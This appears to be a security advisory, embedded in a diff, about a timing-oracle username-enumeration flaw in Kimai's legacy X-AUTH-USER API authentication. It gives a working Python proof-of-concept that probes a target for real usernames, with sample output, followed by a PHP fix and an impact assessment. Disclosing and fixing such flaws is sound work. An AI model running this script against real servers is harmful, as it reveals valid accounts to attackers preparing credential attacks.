+ "details": "## Details\n\n`src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{\"message\":\"Invalid credentials\"}`, HTTP 403), so the leak is purely timing.\n\nThe `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded.\n\nThe legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"Kimai username enumeration via X-AUTH-USER timing oracle.\"\"\"\n\nimport argparse\nimport ssl\nimport statistics\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nPROBE_PATH = \"/api/users/me\"\nBASELINE_USER = \"baseline_no_such_user_zzz\"\nDUMMY_TOKEN = \"x\" * 32\n\n\ndef probe(url, user, ctx):\n req = urllib.request.Request(\n url + PROBE_PATH,\n headers={\"X-AUTH-USER\": user, \"X-AUTH-TOKEN\": DUMMY_TOKEN},\n )\n t0 = time.perf_counter()\n try:\n urllib.request.urlopen(req, context=ctx, timeout=10).read()\n except urllib.error.HTTPError as e:\n e.read()\n return (time.perf_counter() - t0) * 1000.0\n\n\ndef median_ms(url, user, samples, ctx):\n return statistics.median(probe(url, user, ctx) for _ in range(samples))\n\n\ndef load_candidates(path):\n with open(path) as f:\n return [ln.strip() for ln in f if ln.strip() and not ln.startswith(\"#\")]\n\n\ndef main():\n ap = argparse.ArgumentParser(description=__doc__.strip())\n ap.add_argument(\"-u\", \"--url\", required=True,\n help=\"base URL, e.g. https://kimai.example\")\n ap.add_argument(\"-l\", \"--list\", required=True, metavar=\"FILE\",\n help=\"one candidate username per line\")\n ap.add_argument(\"-t\", \"--threshold\", type=float, default=15.0, metavar=\"MS\",\n help=\"median delta over baseline that flags a real user\")\n ap.add_argument(\"-n\", \"--samples\", type=int, default=15)\n ap.add_argument(\"--verify-tls\", action=\"store_true\")\n args = ap.parse_args()\n\n url = args.url.rstrip(\"/\")\n ctx = None if args.verify_tls else ssl._create_unverified_context()\n candidates = load_candidates(args.list)\n\n baseline = median_ms(url, BASELINE_USER, args.samples, ctx)\n print(f\"baseline: {baseline:.1f} ms\", file=sys.stderr)\n\n width = max(len(u) for u in candidates)\n print(f\"{'username':<{width}} {'median':>8} {'delta':>8} verdict\")\n print(\"-\" * (width + 30))\n for user in candidates:\n m = median_ms(url, user, args.samples, ctx)\n delta = m - baseline\n verdict = \"REAL\" if delta > args.threshold else \"-\"\n print(f\"{user:<{width}} {m:>6.1f}ms {delta:>+6.1f}ms {verdict}\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nUsage:\n\n```\n$ ./timing_oracle.py -u https://target -l users.txt -n 15\n[*] calibrating baseline with 15 samples\n[*] baseline median: 37.7 ms\n[*] probing 13 candidates (n=15, threshold=15.0 ms)\n\nusername median delta verdict\n----------------------------------------------------------\nuser1@example.com 64.2ms +26.5ms REAL\nuser2@example.com 72.4ms +34.7ms REAL\nuser3@example.com 70.0ms +32.3ms REAL\ntester.nonexistent@example.com 37.2ms -0.5ms -\nadmin 63.6ms +25.9ms REAL\nadministrator 38.2ms +0.4ms -\nroot 37.3ms -0.4ms -\ntest 33.6ms -4.1ms -\ndemo 38.2ms +0.5ms -\nkimai 37.0ms -0.7ms -\nnonexistent_user_aaa 38.1ms +0.4ms -\nnonexistent_user_bbb 37.5ms -0.2ms -\nnonexistent_user_ccc 38.4ms +0.7ms -\n```\n\nIn this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.\n\n## Fix\n\nIn `TokenAuthenticator::authenticate()`, run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:\n\n```php\nprivate const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';\n\ntry {\n $user = $this->userProvider->loadUserByIdentifier($credentials['username']);\n} catch (UserNotFoundException $e) {\n $this->passwordHasherFactory\n ->getPasswordHasher(User::class)\n ->verify(self::DUMMY_HASH, $credentials['password']);\n throw $e;\n}\n```\n\nThe dummy hash must use the same algorithm and parameters as real user hashes so that `verify()` consumes equivalent CPU. Generate it once with `password_hash('dummy', PASSWORD_ARGON2ID)` and pin it as a constant.\n\n## Relevance\n\nThe practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, [this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026](https://www.kimai.org/en/blog/2026/removing-api-passwords), so the issue only affects a legacy mechanism that is already being phased out. ",
0 commit comments